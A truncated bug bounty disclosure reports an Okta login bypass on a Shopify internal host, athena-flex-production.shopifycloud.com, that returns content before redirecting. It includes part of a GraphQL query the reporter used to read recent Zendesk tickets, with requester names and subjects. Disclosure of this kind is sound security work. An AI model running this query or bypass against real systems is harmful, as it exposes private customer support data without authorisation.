Unauthenticated access to Zendesk tickets through athena-flex-production.shopifycloud.com Okta bypass

athena-flex-production.shopifycloud.com seems to be an internal system that Shopify uses because it redirects user to Okta login. During this however, I noticed that it first returns 200 and then does a redirect meaning some part of the website loads before redirecting. With this, I was able to get …

{"query": "query getRecentTicketsQuery($domain: String) {\n    shop(myshopifyDomain: $domain) {\n      zendesk {\n        tickets(last: 5) {\n          edges {\n            node {\n              id\n               requester {\n                name\n              }\n              subject\n …